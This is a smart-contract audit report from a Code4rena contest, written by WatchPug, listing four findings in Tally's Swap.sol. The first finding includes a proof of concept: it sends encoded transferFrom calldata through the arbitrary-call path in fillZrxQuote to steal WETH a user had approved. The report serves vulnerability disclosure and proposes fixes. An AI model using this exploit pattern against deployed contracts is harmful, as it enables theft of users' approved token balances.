Tally contest - WatchPug's results

Handle

WatchPug

Vulnerability details

https://github.com/code-423n4/2021-10-tally/blob/c585c214edb58486e0564cb53d87e4831959c08b/contracts/swap/Swap.sol#L200-L212

function fillZrxQuote(
    IERC20 zrxBuyTokenAddress,
    address payable zrxTo,
    bytes calldata zrxData,
    uint256 ethAmount
) internal returns (uint256, uint256) {
    uint256 originalERC20Balance = 0;
    if(!signifiesETHOrZero(address(zrxBuyTokenAddress))) {
        originalERC20Balance = zrxBuyTokenAddress.balanceOf(address(this));
    }
    uint256 originalETHBalance = address(this).balance;

    (bool success,) = zrxTo.call{value: ethAmount}(zrxData);

A call to an arbitrary contract with custom calldata is made in fillZrxQuote(), which means the contract can be an ERC20 token, and the calldata can be transferFrom a previously approved user.

Impact

The wallet balances (for the amount up to the allowance limit) of the tokens that users approved to the contract can be stolen.

PoC

Given:

• Alice has approved 1000 WETH to Swap.sol;

The attacker can:

TallySwap.swapByQuote(
    address(WETH),
    0,
    address(WETH),
    0,
    address(0),
    address(WETH),
    abi.encodeWithSignature(
        "transferFrom(address,address,uint256)",
        address(Alice),
        address(this),
        1000 ether
    )
)

As a result, 1000 WETH will be stolen from Alice and sent to the attacker.

This PoC has been tested on a forking network.

Recommendation

Consider adding a whitelist for zrxTo addresses.

Handle

WatchPug

Vulnerability details

https://github.com/code-423n4/2021-10-tally/blob/c585c214edb58486e0564cb53d87e4831959c08b/contracts/swap/Swap.sol#L200-L225

function fillZrxQuote(
    IERC20 zrxBuyTokenAddress,
    address payable zrxTo,
    bytes calldata zrxData,
    uint256 ethAmount
) internal returns (uint256, uint256) {
    uint256 originalERC20Balance = 0;
    if(!signifiesETHOrZero(address(zrxBuyTokenAddress))) {
        originalERC20Balance = zrxBuyTokenAddress.balanceOf(address(this));
    }
    uint256 originalETHBalance = address(this).balance;

    (bool success,) = zrxTo.call{value: ethAmount}(zrxData);
    require(success, "Swap::fillZrxQuote: Failed to fill quote");

    uint256 ethDelta = address(this).balance.subOrZero(originalETHBalance);
    uint256 erc20Delta;
    if(!signifiesETHOrZero(address(zrxBuyTokenAddress))) {
        erc20Delta = zrxBuyTokenAddress.balanceOf(address(this)).subOrZero(originalERC20Balance);
        require(erc20Delta > 0, "Swap::fillZrxQuote: Didn't receive bought token");
    } else {
        require(ethDelta > 0, "Swap::fillZrxQuote: Didn't receive bought ETH");
    }

    return (erc20Delta, ethDelta);
}

When a user tries to swap unwrapped ETH to ERC20, even if there is a certain amount of ETH refunded, at L215, ethDelta will always be 0.

That's because originalETHBalance already includes the msg.value sent by the caller.

Let's say the ETH balance of the contract is 1 ETH before the swap.

• A user swaps 10 ETH to USDC;
• originalETHBalance will be 11 ETH;
• If there is 1 ETH of refund;
• ethDelta will be 0 as the new balance is 2 ETH and subOrZero(2, 11) is 0.

Similarly, erc20Delta is also computed wrong.

Consider a special case of a user trying to arbitrage from WBTC to WBTC, the originalERC20Balance already includes the input amount, erc20Delta will always be much lower than the actual delta amount.

For example, for an arb swap from 1 WBTC to 1.1 WBTC, the ethDelta will be 0.1 WBTC while it should be 1.1 WBTC.

Impact

• User can not get ETH refund for swaps from ETH to ERC20 tokens;
• Arb swap with the same input and output token will suffer the loss of almost all of their input amount unexpectedly.

Recommendation

Consider subtracting the input amount from the originalBalance.

Handle

WatchPug

Vulnerability details

Since the introduction of transfer(), it has typically been recommended by the security community because it helps guard against reentrancy attacks. This guidance made sense under the assumption that gas costs wouldn’t change. It's now recommended that transfer() and send() be avoided, as gas costs can and will change and reentrancy guard is more commonly used.

Any smart contract that uses transfer() is taking a hard dependency on gas costs by forwarding a fixed amount of gas: 2300.

It's recommended to stop using transfer() and switch to using call() instead.

https://github.com/code-423n4/2021-10-tally/blob/c585c214edb58486e0564cb53d87e4831959c08b/contracts/swap/Swap.sol#L173-L173

payable(msg.sender).transfer(toTransfer);

Can be changed to:

(bool success, ) = msg.sender.call.value(toTransfer)("");
require(success, "Swap::swapByQuote: ETH transfer failed");

Handle

WatchPug

Vulnerability details

Based on the context and comments in the code, we assume that it's possible that there will be some leftover sell tokens, not only when users are selling unwrapped ETH but also for ERC20 tokens.

However, in the current implementation, only refunded ETH is returned (L158).

Because of this, the leftover tkoens may be left in the contract unintentionally.

https://github.com/code-423n4/2021-10-tally/blob/c585c214edb58486e0564cb53d87e4831959c08b/contracts/swap/Swap.sol#L153-L181

if (boughtERC20Amount > 0) {
    // take the swap fee from the ERC20 proceeds and return the rest
    uint256 toTransfer = SWAP_FEE_DIVISOR.sub(swapFee).mul(boughtERC20Amount).div(SWAP_FEE_DIVISOR);
    IERC20(zrxBuyTokenAddress).safeTransfer(msg.sender, toTransfer);
    // return any refunded ETH
    payable(msg.sender).transfer(boughtETHAmount);

    emit SwappedTokens(
        zrxSellTokenAddress,
        zrxBuyTokenAddress,
        amountToSell,
        boughtERC20Amount,
        boughtERC20Amount.sub(toTransfer)
    );
} else {

    // take the swap fee from the ETH proceeds and return the rest. Note
    // that if any 0x protocol fee is refunded in ETH, it also suffers
    // the swap fee tax
    uint256 toTransfer = SWAP_FEE_DIVISOR.sub(swapFee).mul(boughtETHAmount).div(SWAP_FEE_DIVISOR);
    payable(msg.sender).transfer(toTransfer);
    emit SwappedTokens(
        zrxSellTokenAddress,
        zrxBuyTokenAddress,
        amountToSell,
        boughtETHAmount,
        boughtETHAmount.sub(toTransfer)
    );
}